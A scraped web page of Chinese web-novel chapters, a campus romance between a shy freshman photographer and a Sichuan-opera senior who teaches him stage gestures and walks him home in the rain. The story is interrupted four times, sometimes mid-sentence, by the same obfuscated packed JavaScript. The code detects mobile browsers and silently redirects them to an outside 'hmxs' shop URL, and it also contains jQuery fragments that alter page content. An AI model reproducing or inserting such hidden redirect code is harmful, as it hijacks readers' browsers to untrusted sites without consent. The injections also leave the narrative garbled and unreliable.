“魔术师的秘密,不可外传~”李霄川头也不回地摆摆手,却又突然转过身倒着走,冲他眨眨眼,“不过嘛,你要是来戏曲社,我倒可以破例教教你。” 陈声和不接话,只是低头笑了笑。 路过社团招新摊时,一个扎马尾的学姐笑着打趣:“哟,霄川今儿这么热心,当起导游来啦?” “学姐你这就不懂了,”李霄川把陈声和的行李箱转了个漂亮的圈儿,“这叫学长的关爱。” 身后立刻响起一片起哄的口哨声,陈声和感觉耳尖都要烧起来了。 两人穿过大半个校园,李霄川边走边指:“这栋红楼是图书馆,千万别去三楼西区,空调坏了跟蒸桑拿似的。那边是综合楼,教务处李主任办公室在408,记住啊,敲门要敲三下、停一会儿、再敲两下,不然他可不给好脸色……” 路过小吃街拐角,一阵麻辣香锅的味儿猛冲过来,陈声和被呛得直咳嗽。 李霄川大笑着递来一碗冰粉:“慢慢适应,我保证你毕业前会爱上吃辣。” 陈声和发现,他似乎认识很多人,每个人都会笑着喊他川哥或霄川,而李霄川回应时,语气熟稔又随意。 他是个很受欢迎的人。 来到报到处已经没什么人了。李霄川帮他要了新生材料,又在地图上画了条红线,简单标注了一下:“记着这条路,下次再迷路我可要收导游费了。” 陈声和点点头:“谢谢你学长。” 李霄川摆摆手,转身要走,却又突然回头:“对了,你真不考虑来戏曲社?我们正好缺个摄影师。” 陈声和犹豫了一下:“可我……不太懂戏曲。” “没事儿,我教你啊。”李霄川笑得眼睛弯弯的,见他还迟疑,又凑近半步,“不用懂戏,我手、把、手教。” 陈声和对上他那双亮闪闪的眼睛,鬼使神差地点了头:“……好。” 李霄川满意地摸出手机,手指在屏幕上敲了几下: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004128|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那加个微信?” 陈声和刚拿出手机,李霄川已经把二维码递到他眼前:“扫我。” “……”动作熟练得像是演练过很多次。 扫码成功的提示音响起,资料页面立刻跳出来。头像里一只圆滚滚的熊猫正抱着一串红辣椒,龇牙咧嘴的模样莫名像李霄川笑起来的样子。 昵称就一个简单的“川”字,朋友圈背景是张川剧脸谱的特写。 “改个备注。”李霄川凑过来看他的操作,洗发水的薄荷味和淡淡的汗味飘过来,“别写全名,就写川哥。” 陈声和只好乖乖备注了“川哥”。 …… 晚上陈声和在宿舍整理行李时翻出了一盒从家里带来的凤凰单丛。陶瓷杯里的茶叶在热水中舒展,袅袅茶香中,他点开了那个熊猫头像的朋友圈。 翻着他的朋友圈,像看一部私人纪录片。 有排练厅镜子前,一排武生撩起练功服比腹肌的“猛男合影”;有深夜聚餐时,咕嘟冒泡,辣到镜头仿佛都在出汗的红油火锅。 还有那些没有文字表情,只发图的时刻,一张灰蒙蒙的成都天空,或者一盏孤零零的路灯。 最新动态是半小时前发的: 【今天招新,捡到一只迷路的广东仔】 配图里,校园里人来人往,但有一个模糊的侧影正仰头望着舞台,阳光在那人头顶镀了层光,分明是他在看变脸表演时惊讶的样子。 “…………” 陈声和的手指悬在点赞按钮上方,突然觉得茶杯有些烫手,最终还是没点赞,说不定这人发的只有他可见。 他放下杯子,从行李箱夹层取出日记本,钢笔在纸上顿了顿才写下: 【X月1日,晴。 来成都的第一天就迷路了。遇见一个会变脸的大熊猫,他说要教我魔术】 笔尖犹豫了一下,又补充:【如果加入戏曲社的话】 最后在页脚画了个简单的小鼻嘎,一半脸戴着川剧脸谱,另一半笑得见牙不见眼。 与此同时,大三男生宿舍。 李霄川仰躺在床上,手机屏幕的光映在他脸上。 他正慢慢滑动着陈声和的朋友圈,内容少的可怜,却很丰富,吃喝玩乐什么都有,最近一条是三个月前的潮汕祠堂照片。 配文写着: 【堂哥25岁没结婚,族老们觉得有东西看上他了,导致正缘无法近身。现在正在商量,是给请个符,还是让去给英歌舞当鼓手沾沾阳气。 我想问的是,这个婚为什么不能自己来找堂哥(疑问)】 李霄川“扑哧”一声笑了出来。 他把图放大看,才发现角落里有个模糊的身影,应该是陈声和本人,只露出小半张侧脸。 “看什么呢这么入神?”上铺的室友突然探头,头发上的水滴在李霄川的被子上。 李霄川拇指一滑锁上屏幕,顺手把湿漉漉的枕头砸上去:“没什么……挺有意思的一只小猫。” 这么形容倒也没错。 陈声和那人,总是眉眼弯弯的,天生一双下垂的大眼睛,看人时总像含着一汪水。 说话还带着南方的软糯尾音,笑起来的时候,确实……像只矜贵又惹人怜爱的小猫。 12. 说话不算数的学长 在报名戏剧社这件事上,陈声和犹豫了好一阵。 宿舍早就熄了灯,只剩他那盏小台灯还亮着,暖黄的光在桌上圈出一小块,把他整个人拢在里面。 夜深了,窗外偶尔传来两声野猫叫,懒洋洋的,反倒衬得屋里更静。 他曲起膝盖抵着桌沿,人微微向前倾。电脑屏幕的蓝光淡淡映在镜片上。 学校公众号的页面正打开着,上面是【戏曲社团招新】的推送。照片虽然有点糊,但台上翻飞的水袖、浓墨重彩的脸谱还是看得清:红脸关公、白脸曹操、金脸的孙悟空,一个个像从老戏本里走出来似的。 他手指滚着鼠标滚轮,一下,又一下,正看得入神,滚轮却突然卡住了。画面顿在一张大合照上。 站在最中间的那个男生没化妆,可陈声和一眼就认出了那对剑眉。照片底下备注写着:“李霄川《长坂坡》赵云扮相”。 也就在这定格的瞬间,陈声和注意到了照片里李霄川的眼睛。明明没在扮演角色,那眼神却像依然带着戏,径直从屏幕里看过来。 这一眼,把他一下子拽回上周。 那天他走错路,稀里糊涂摸进了他们招新现场。台上正演到变脸,红脸唰地变成白脸,台下掌声叫好声轰地炸开。 而他站在最后一排,相机握在手里却没拍照……倒不是忘了,是看呆了。 只记得谢幕的时候,台上那人眼尾轻轻一扫,那目光,像是无意间擦过他的镜头。 又像是……早就看见他了。 屏幕的光静静映在陈声和脸上,他睫毛轻轻颤了颤,嘴唇也抿紧了。 “还没睡啊?”上铺突然探出个鸡窝头,张远的声音糊糊的,满是睡意。 陈声和啪地合上笔记本,弹簧扣响了一声。 “马上睡。”他摘下护目镜,揉了揉鼻梁。 张远打了个哈欠,床板随着他翻身吱呀响:“老刘的视听语言课要早点去,听说要点名……”话说到一半忽然拐了个弯,“诶,你真要去那个戏曲社啊?” “嗯。” 陈声和拉开抽屉,取出的报名表上仿佛还沾着打印机的温度,笔尖在姓名栏悬停片刻,落下三个工整的楷体。 陈声和。 笔尖顿了顿,又在申请岗位后面写下:摄影。 “摄影岗?”张远不知什么时候把整个脑袋都挂在了床沿,倒着的脸显得有点滑稽,“听说他们社长李霄川特别龟毛,上周把新闻系拍他的女生骂哭了,说构图不如金毛叼着手机拍的……” 笔尖在申请理由处洇出个小小的黑点。陈声和轻轻吹了吹纸面,劣质打印纸的纤维吸走了墨水。 “试试看吧,戏剧社的拍摄和咱们影视系那些套路不太一样……挺特别的。拍人,拍动作,还得拍出那个传统文化的韵味来。” 他转着笔帽停了停,像是给自己找了个理由:“多看看不同的东西,应该……对我也有帮助。” 张远只好缩回去睡觉,心里却嘀咕:戏曲有什么好拍的啊,现在谁还看这个…… 台灯熄灭的刹那,月光从窗帘缝里溜进来,落在桌角的相机上。镜头盖没盖,像一只安静的眼睛,映着某个还没按下快门的瞬间。 …… 第二天上午九点多,阳光斜斜地照进走廊,陈声和站在戏曲社团活动室门口,手里的报名表已经被他捏得有点皱了。 手指微微发潮,也不知道是早晨露水还没散干净,还是他自己手心在冒汗。 其实他不该来的。 影视编导系大一课多得要命,光是下周那篇视听语言分析作业,就够他熬两个大夜。更别说系里那几个出了名严格的老师,一想到缺一次作业可能带来的后果,他就该立马转身走人。 但那天迷路时撞见的变脸表演,像一块烧红的炭,硬生生在他记忆里烙下印记。 特别是那个叫李霄川的学长,台上一个鹞子翻身,红脸瞬间变黑脸,眼神凌厉得像要劈开空气。 可一下台,这人就对他笑起来,眼角那颗泪痣也跟着一动:“广东仔,下次来看全场啊。” 鬼使神差地,他还是填了这张报名表。 “摄影岗?”负责招新的短发学姐扫了眼表格,圆珠笔在登记本上轻轻点了两下。她一挑眉,耳朵上那对银环也跟着晃了晃。 “我们确实缺个拍照的,不过……”她上下打量陈声和单薄的肩膀和手里的入门级单反,“你会拍动态吗?川剧动作快,一般的相机跟不上。” “我可以。”陈声和声音轻轻的,却意外地笃定。 阿爸从小手把手教他抓拍潮汕游神赛会的场景,抬神轿的汉子们肌肉绷紧,英歌舞的槌子快得只剩残影,他照样能拍到最清晰的瞬间。 学姐正要再问什么,活动室的门突然被推开。 九月的风卷着走廊上的桂花香溜进来,还有一缕檀香,像是从哪个寺庙里飘出来的。 “哟,稀客啊。” 李霄川的声音从身后传来,带着成都人那种懒洋洋的调子,像下午晒化的麦芽糖,黏糊糊地裹住耳朵。 陈声和一转身,差点撞上他胸口。 李霄川今天没化妆,素着一张脸,从眉骨到鼻梁的线条干净清楚,眼角那颗泪痣在日光下特别明显。他左手拎着一袋橘子,胳膊底下还夹了两本旧书,书脊上贴着图书馆的标签。 “来报名的?”李霄川往前凑了半步,目光落在陈声和手里的表格上。他嘴角一扬,那颗泪痣也跟着往上走,“摄影?那以后我表演就归你拍咯。” 陈声和还没来得及回答,学姐就插话:“霄川,你上次不是说最烦别人拍你练功吗?上次那个新闻系的女生……” “她拍得烂。”李霄川干脆地打断,顺手从袋子里摸出个橘子塞给陈声和,“尝尝,校门口嬢嬢卖的,甜得很。” 橘子皮薄得能透光,陈声和刚剥开一点,甜津津的汁水就溅到手指上。 他低头掰了一瓣放进嘴里,果肉在牙齿间迸开一股甜,过了一会儿才慢慢尝出点酸来。 不过确实好吃。 “对了,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004129|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李霄川忽然凑得更近,带着橘子味的气息轻轻扑到陈声和耳边,“一会儿别走,我教你点基本功。” “我……”陈声和耳根一热,“只是来拍照的。” “拍照也得懂戏噻。”李霄川眼睛弯起来,那颗泪痣藏在眼尾的褶里,“不然你怎么抓得住最好的镜头?” “……哦。” 陈声和低头又掰了瓣橘子,顺便在心里给学长记上一笔:说话不算话的罪状。 明明那天还说随便来看看就行,现在倒要学什么基本功。 橘子汁滴滴答答流到虎口,黏糊糊的,像他此刻理不清的思绪。 学姐走之前给陈声和特意解释说,那个女生有对象,李霄川怕惹麻烦,所以找了个技术不行的由头让走了。 陈声和“哦”了一声,心想:倒也不用跟我解释这么清楚。 转念又明白了,估计是怕他觉得李霄川这人特别难相处吧。 社团活动结束之后,人三三两两都走了,练功房一点点安静下来。就剩陈声和一个人还杵在木地板上,手指绞着衬衫下摆,心里有点没底。 阳光从西面的窗户斜斜地照进来,把空气中的浮尘照得发亮。 李霄川走到储物柜那儿,弯腰翻了翻,拎出一套洗得发白的练功服,扔给他:“换上。” “我也要穿啊?”陈声和接住衣服,闻到淡淡的皂角香。 李霄川已经脱了外套,只穿一件黑色背心,肩颈的线条随着动作绷紧又放松。他左肩胛骨上有道疤,被光一照,显得特别清晰。 “不然呢?”他扯了扯嘴角,目光扫过陈声和身上的衬衫,“穿你这个,万一下腰扯破了,我还得赔你件新的。” 陈声和移开视线,耳朵有点热,他低头解开衬衫扣子,换上了那套棉麻练功服。衣服是旧的,但很柔软,就是袖口绣的那个川剧脸谱…… 实在有点丑得太离谱了。 他刚穿整齐,李霄川就绕到了他身后,手指轻轻擦过他后颈的皮肤。 “领子歪了。”声音近在耳边。陈声和这才闻到他身上有一股淡淡的香火味,心里嘀咕:这人难道还常去庙里烧香拜佛? “抬手。” 陈声和乖乖把胳膊抬起来。 李霄川的手指不经意划过他后颈,接着往下,替他理了理过于宽大的袖口。微凉的指尖正好碰到陈声和手腕内侧那道浅褐色的旧疤。 “这是……?” 陈声和下意识想缩手,却被李霄川轻轻握住了腕骨。对方的拇指抚过那块皮肤,粗糙的薄茧磨得他心跳悄悄乱了一拍。 “小时候学泡茶,水太沸,不小心烫的。”他声音轻了些,那道疤像一枚小小的印记,并不明显,“阿嬷说,潮汕人连烫伤都要优雅,所以我没喊疼。” “…………” 李霄川的目光在陈声和脸上停了片刻,忽然笑出来:“优雅?那今天教你川剧手势,你可别哭啊。” ……就这样,陈声和莫名其妙被留了下来,开始了他的“基本功第一课”。 13. 许仙今天看的是法海吗? 练功房里的老式挂钟滴答走着,窗外远远传来篮球场的喧闹声,衬得这一角格外安静。 “兰花指可不是这样捏的哦。”李霄川站到他身后,胸膛几乎贴上他的背。他伸手覆住陈声和的手,一根一根替他调整,“拇指压住中指,食指要翘起来……” “对,就这样稳住。” 陈声和呼吸一滞。李霄川的手比他大了一圈,掌心有常年练功留下的薄茧,蹭过皮肤时,有点像旧绸缎,糙糙的,却不算难受。 “手腕再抬高点。”李霄川的声音擦过耳边,带着温热的呼吸。 陈声和试着抬腕,可动作有点硬,手指还不自觉地抖:“这、这样行吗?” “放松点嘛,”李霄川低声笑了,气息扫在他耳后,“你紧张啥?我又不会吃了你。” 陈声和盯着镜子里两人几乎叠在一起的身影,嘴硬道:“我才没紧张。” “那你手抖什么?” 镜中的李霄川垂着眼看他。 陈声和抿着唇不接话,李霄川也不追问,就那么握着他的手,带着他慢慢划出一个完整的云手。 两人的影子投在镜中,一高一矮,一黑一白,倒像幅淡淡的水墨画。 休息的时候,李霄川忽然问他:“你们潮汕人是不是都这么讲究啊?” “嗯?讲究什么?” “泡个茶都能烫出艺术家的疤来。” 陈声和终于笑出来,肩膀轻轻颤着:“那你们四川人是不是都这么……” “这么什么?” “这么……”他想了想用词,“这么自然熟。” 李霄川松开他的手,后退两步抱着胳膊打量他。 这小广仔……套着那身过于宽大的白色练功服,空荡荡的袖口遮住半截手掌,显得人格外清瘦。 下身一条水洗蓝牛仔裤,版型干净利落,就是膝盖处那处刻意的破洞,暴露了这裤子不便宜。脚上踩了双白得发亮的运动鞋。 就这么一身混搭,硬是让他穿得清清爽爽、干干净净,怎么看怎么顺眼。 “那也得看对谁,”李霄川声音里带着点懒洋洋的笑意,“有些人啊,第一眼就觉得该是熟人。” “…………” 陈声和完全不知道怎么接话了。 练功房里一时安静下来,只剩下两人的呼吸声。 这短暂的沉默让陈声和觉得手指的存在感特别强,那里好像还留着李霄川掌心的温度。他低头看了眼自己的手,手腕上那道浅疤周围的皮肤,似乎还在隐隐发烫。 正不知该说点什么,李霄川的声音比刚才沉了些:“再来一遍?” 他走到陈声和面前,这次却没直接碰他的手,而是自己示范了一个标准的云手。手腕一转,软得像水,看得人移不开眼。 陈声和跟着学,可动作还是有点僵。他悄悄瞥了眼李霄川,发现那人正认真盯着自己看,看得他有点不自在。 “你看我干嘛……”他小声嘟囔,手下动作更乱了。 “哈,不看你怎么知道哪儿不对?”李霄川笑了,到底还是没忍住,上前轻轻托了下他的手肘,“喏,手腕得这样转。” 陈声和从镜子里看见李霄川微微蹙起的眉头,不像不耐烦,倒像是……觉得他这样笨笨的有点好玩。 他想起小时候第一次学泡茶时,阿公也是这样手把手教他,说潮汕工夫茶讲究“关公巡城,韩信点兵。” 但在他出错后,阿公阿嬷就慈祥地笑着,也是这样的眼神看着他。 “发什么呆呢?”李霄川的声音把他拉了回来。 “没什么,”陈声和声音轻轻的,“我太笨了,学不会……要不还是算了。” 其实他不是真那么不想学,就是有点不好意思继续被这么盯着,总觉得怪怪的。 李霄川低低笑了一声:“不笨,就是容易害羞。”说完他退开一步,从包里拿出保温杯,“歇会儿吧,喝口水。” “……” 陈声和接过杯盖,拧开盖子时闻到了柠檬味:“冰的?” “常温,太热了,”李霄川装作漫不经心,眼睛却一直观察着陈声和的表情,“降降火。” 温水入喉,柠檬水中带着点蜂蜜味,不甜,正好合他口味。 李霄川看着他微微发红的耳尖,嘴角不自觉地上扬。 窗外,夕阳正慢慢沉下去,把半边天染成橘红色。他俩的影子被拉得长长的,落在地板上,挨得很近。 …… 社团学姐叫杨知夏,顶着一头利落的狼尾鲻鱼头,耳骨上三枚银环随着她转相机的动作闪闪发亮。 自从发现陈声和老是来拍李霄川之后,每次一见他扛着相机出现在练功房门口,她就故意拉长声音喊。 “霄~川~!你家那个小跟拍摄影师又来啦!” 嗓门大得整条走廊都听得清清楚楚。 而李霄川,也不知什么时候起养成了个小动作,总喜欢用拇指轻轻摩挲陈声和手腕内侧那片茶叶形状的疤。 尤其当陈声和紧张的时候,比如第一次上台帮忙打追光,或者被老师点名要展示照片,李霄川就会不动声色地靠过来,指腹轻轻蹭过那块皮肤,像是悄悄给他打气。 后来陈声和还注意到,李霄川每次见他都会带些当季的水果。 四月是攀枝花米易的枇杷,五月换成雅安、阿坝州的车厘子,六月自家树上的脆李和桃子,七月是凉山州的蓝莓,八月又变成会理的石榴…… 这些水果都被他洗得干干净净,水灵灵地装在保鲜盒里,美其名曰:让这个广东仔“尝尝四川的四季”。 “你们广东人不是都爱吃甜吗?”李霄川一边说,一边把一颗剥好的枇杷塞进陈声和嘴里。手指上沾着果汁,在阳光下亮晶晶的。 枇杷酸酸甜甜很合口味,陈声和忍不住伸手去拿,李霄川却已经又剥好了一个递给他。 “我可能是个例外。”陈声和当时笑着这么说。 因为他从小跟着阿公和爸爸喝惯了苦茶,家里人也都不嗜甜。但每次李霄川带来的水果,不管多甜,他都会乖乖吃完。 …… 第一次汇演的时候,陈声和蹲在礼堂侧边的摄影台上,镜头紧紧跟着台上那道雪白的身影。 那天李霄川演的是《白蛇传》里的许仙,月白长衫配淡青纱袍,头戴方巾,活脱脱一个从画里走出来的文弱书生,和他平时在练功房里能连翻二十个后空翻的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004130|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子简直判若两人。 台上的他正扶着道具桥栏,声音带着恰到好处的颤抖: “娘子!你、你当真不是人?” 灯光忽然转蓝,演白娘子的学姐水袖一挥,背景雷声隆隆。 陈声和调近焦距,特写镜头里能看清李霄川轻轻颤动的睫毛。 按排练,这时候许仙应该惊恐地看着白娘子才对。可当陈声和透过取景框看去时,那双画着淡褐色眼线的眼睛,却分明越过满台的风雨,直直看向了自己的镜头。 “咔嚓。” 快门声被轰然的鼓点盖了过去。 “好!”台下掌声响起。 陈声和这才发现自己手心全是汗,在相机边上留下湿湿的指印。他低头去看刚刚抓拍到的画面…… 李霄川仰着脸,舞台的追光在他眼里变成两点星星,而镜头边缘不小心带到的白娘子,反而成了模糊的背景。 “…………” “陈大导演,拍得怎么样?”杨知夏凑过来看显示屏,突然扑哧一乐,“霄川今儿怎么回事?眼神跟钩子似的,把白素贞都晾在一边了。” 陈声和耳根一热,假装调整相机参数:“可能是……舞台走位需要?” “得了吧,上周排练他明明,”杨知夏话没说完,礼堂顶灯突然大亮,演出结束的演员们正排队谢幕。 李霄川站在第二排最边上,脸上的油彩被汗水晕开些许,却还在冲台下笑得灿烂。 陈声和不由自主举起相机,又拍下一张。 散场时人挤来挤去,陈声和收拾器材的动作比平时慢了不少。他把三脚架折好,又反复擦了擦镜头,直到礼堂里人都快走光了,才背起包往外走。 刚推开门,一股湿乎乎的风就扑了过来,不知什么时候,外面天已经阴得沉沉的。 “喂!广东仔!” 这声音太熟了,陈声和脚步一顿。 一回头,看见李霄川还穿着那身白色的水衣,戏服随意拎在手里,只在外面潦草地套了件黑色外套,正从后台那边的小门钻出来。 他脸上的妆还没卸完,嘴唇上那抹朱砂红,在灰蒙蒙的天色里有种病态美感。 陈声和忍住想拍下的冲动。 “你怎么还没走?”李霄川三两步跳下台阶,衣角带起一阵风,“是不是被我今天的演技震撼到啦?” 陈声和抿嘴笑了笑:“许仙看见白娘子现原形往后退那一步,可比排练时远了快半米呢。” “这你都看出来?”李霄川眼睛一瞪,随即又得意地扬了扬下巴,“说明我临场发挥得好!真正的艺术家可都……” 话没说完,一滴冰凉的雨正好砸在他鼻尖上。 两人同时抬头。刚才还只是灰蒙蒙的云,这会儿已经浓得像墨泼过一样,雨点噼里啪啦落了下来。 “完了!”李霄川一把抓住陈声和的手腕就往回跑,“我戏服还没换呢!” 陈声和被拉得跟跄了两步,忽然觉得手上一轻。李霄川已经把他的相机包抢了过去,正用那件宽大的戏服袖子把它裹得严严实实。 “这料子可是真丝的,小广仔!能防水!”他在越来越密的雨声里大声喊,声音裹着雨,忽远又忽近。 14. 因为你拍的不一样 等他们冲进后台,李霄川头发已经全湿了,发胶也化了,黑发软趴趴贴在额头前,眼线也晕成一片灰蒙蒙的。 可他怀里还死死抱着陈声和的相机包,戏服袖子早就泡成了深色。 “赶紧去换衣服,”陈声和推他,“要感冒的。” “你先看看器材!”李霄川把包小心翼翼放在干的化妆台上,“镜头要是进了水,把我卖了都赔不起。” 陈声和拉开包一看,心窝里像突然被塞了个暖水袋,相机被裹在那件戏服里,外面还套着李霄川自己的外套,干干爽爽的,像根本没淋过雨。 而李霄川自己肩膀处却已经湿透了。 “你……” “我去换衣服!”李霄川忽然打断他,抓起背包就往更衣室跑,留下一地水印子。 空荡荡的后台只剩陈声和一个人。他慢慢展开那件戏服,丝缎上用金线绣的云纹,已经皱成了一团。 陈声和自小接触潮绣,简单的图案自己也能上手。因此只要一瞧,一摸便知道,这件戏服跟市面上那些大批量的货色,根本不是一个路数,这是实打实的好东西。 手指触到袖口内侧时,他摸到一个小小的、硬挺的标签,翻过来一看,上面用蓝色圆珠笔写着:李霄川,201X级表演系。 得……这是私人物品,不是学校公用的戏服。 更衣室门打开。李霄川换回了干爽的衣服,黑色高领毛衣衬得他脖颈修长,只是头发还湿漉漉地滴着水。 他一眼看见陈声和手里的戏服,脚步顿了一下。 “这是……你自己的?”陈声和问他。 “昂,”李霄川用毛巾胡乱擦着头发,“去年省里比赛得奖后师父送的。”他顿了顿,声音忽地低下来,“……第一次穿给别人看。” 窗外雨声忽然大了起来,噼里啪啦敲着玻璃。陈声和一时不知接什么话,只好低头继续收拾相机。 可脸上却烫得像贴了暖宝宝,心跳也跟着咚咚咚敲起鼓来。 等他再抬头时,发现李霄川的目光正越过自己肩膀,直直地盯着窗外。那张总是带着笑意的脸,此刻皱成一团。 陈声和莫名觉得……他好像自己画在日记本上那只被抢了辣椒的熊猫。 “完了。”李霄川抓了抓头发,发梢还沾着刚才的雨水,“雨这么大,我伞昨天借给老张了。” 陈声和转身望向窗外,方才还只是细雨绵绵,此刻已成了瓢泼大雨。雨点砸在水泥地上,排水管像喝醉了一样往外喷水,远处教学楼的轮廓都模糊在了雨幕里。 他低头在包里摸了一会儿,掏出把深蓝色格子折叠伞:“那什么……我带了。” “这么小?!”李霄川的眼睛瞪得溜圆,拿过伞掂了掂,“这伞没成年吧?遮你一个人都够呛。” 雨水拍打窗户的声音越来越响,陈声和捏了捏背包带子:“……所以,你要不要等雨小……” 话没说完,李霄川已经“唰”地撑开伞,一把揽住他肩膀就往外走。 “走走走,挤挤更暖和!”他笑得眼睛弯弯,“再说了,你们广东人不是最懂‘同舟共济’嘛。” 陈声和:“…………” 雨点砸在伞面上,陈声和还没回过神,就被李霄川带着冲进了雨里。 伞实在太小,两人的肩膀几乎贴在一起。陈声和能清晰感觉到李霄川身上传来的体温,隔着两层衣服,混着淡淡的油彩味,和雨水潮湿的气息一起涌过来。 他出于本能缩了缩脖子,却听见耳边传来带着笑意的声音:“别躲啊陈导,再往外挪你就要淋成落汤仔了!” 因为大雨,因为小伞,他们不得不贴得很近,近到陈声和能看清李霄川睫毛上挂着的小水珠,近到他们如果同时转头,唇就会贴在一起。 “你宿舍在梅园对吧?”李霄川在雨声中提高声音,“我送你回去。” “不用,你先回你……” “别客气了,你个广东仔,扛不住成都这种秋雨。”李霄川说着,突然一把抓住他手腕,“小心!” 陈声和脚底踩到一颗石子,整个人往前一滑,却被李霄川稳稳拽住。 积水的地面映出两人交叠的身影。李霄川的手从他手腕滑下来,最后牢牢扣进他指缝里。 “抓紧了!”李霄川的声音混着雨传来,“你们那儿没下过这么大的雨吧?” 陈声和想反驳,台风天比这夸张多了,却发现自己正用力回握着那只手。 李霄川手心有常年练功留下的茧,粗糙又温热,和他记忆中父亲那双养尊处优的手完全不同。 雨水顺着伞骨往下淌,在周围挂起一道透明水帘,好像把整个世界都隔在了外面。 刚走到图书馆附近,一阵狂风猛地刮过来。伞面直接被掀翻,冰凉的雨水迎面浇了两人一头。 他俩同时僵在原地,彻底成了落汤鸡。 李霄川却大笑起来,甩了甩头发上的水:“这下真的完~蛋~啦!” 前方不远处有个凉亭,他们不约而同地跑过去。 等跑进亭子里时,陈声和的刘海湿漉漉贴在额头上,衣服也湿了大半。李霄川更惨,黑毛衣吸饱了水,沉甸甸地挂在身上。 “你没事吧?”李霄川伸手拨开陈声和额前的湿发,“手怎么这么凉?” 陈声和这才发现他们的手还牵在一起。他想要抽回,却被握得更紧。李霄川的手很暖,即使淋了雨也像个小火炉裹着他。 “我老家有句话,”李霄川望着亭子外的雨幕,“落雨天,留客天。”他转过头,眼睛亮得惊人,“看来老天爷都想让你多陪我一会儿。” 陈声和:“…………” 雨水顺着凉亭的飞檐流下,在地上汇成一条蜿蜒的小溪。 陈声和红着脸望着那些水花,突然想起潮汕老家的雨季,也有句话,阿嬷总说雨水是龙王爷的恩赐,能洗去晦气。 此刻他莫名希望这是真的。 “你演许仙的时候,”陈声和轻声问,“为什么老往镜头那儿看?” 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004131|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霄川的耳尖迅速红了。 他松开手,装作很酷的转身去拧毛衣下摆的水:“舞台走位需要噻。” 陈声和不紧不慢地拆台:“可杨学姐说,排练时你可不是这样的。” “她话真多。”李霄川撇撇嘴嘟囔了一句,忽然又从口袋里掏出个东西,“喏,这个给你。” 那是个穿着戏服的小人偶,白面书生的模样,背后歪歪扭扭贴着“许仙”两个字。 “道具组多做的。”李霄川别过脸去,装作看外面的雨,“反正你拍了那么多照片,送你这个当纪念。” 人偶的木质底座上有一道新鲜的划痕,像是刚刻上去的。陈声和用指腹轻轻摩挲,摸出两道浅浅的凹槽。 是字母 S.H。 “这个……”他声音轻了下去,“谢谢。” 其实他想说这人偶做得有点粗糙,还没你本人一半好看。但话到嘴边,又咽了回去。 雨声渐小的时候,天色已经完全暗了下来。 李霄川坚持要送陈声和到宿舍楼下。这回他没再牵他的手,但两人的肩膀还是时不时碰到一起。 经过一盏路灯时,陈声和忽然发现李霄川侧脸上还闪着细碎的金粉,这人连妆都没卸干净。 “你脸上还有油彩。” “啊?哪儿?”李霄川抬手胡乱抹了抹脸。 “左边眉毛上面,”陈声和指了指,“还有……嘴唇上也是。” 李霄川又蹭了几下,反而把那抹残红晕得更开了。 陈声和看不下去,从包里抽出张湿纸巾:“别动。” 冰凉的纸巾贴上来时,李霄川整个人顿了一下。 陈声和小心地擦过他的眉骨、颧骨,最后停在嘴角。那里斑驳的口红像被雨水稀释过的胭脂,浅浅染开。 “好了。”陈声和正要收回手,却发现李霄川正一眨不眨地看着自己。 路灯的光落进他眼里,碎成星星点点的亮。有那么一瞬间,陈声和觉得他好像又要说什么逗人的话。 “陈声和。”李霄川的声音在潮湿的空气里显得格外清晰,“以后我演出……你都来拍吧。” 湿漉漉的梧桐叶粘在路面上,在暮色中发着微光。远处传来模糊的自行车铃声,有人大笑着跑过积水潭,溅起一片银亮的水花。 陈声和捏着那张沾满油彩的湿巾,手指传来微微的凉意。他感觉脸颊发烫,像是有人把剧场的红灯安在了他脸上。 “为什么?”他听见自己问。 “因为你拍的,”李霄川顿了顿,目光落在他通红的耳尖上,“和别人拍的不一样。” 一阵风恰在这时穿过街道,卷起几片湿叶子,也送来深秋透彻的凉意。 “好啊。”风把他的回答吹散了一点,却又清清楚楚送到了对方耳边。 为什么不一样? 他没追问。 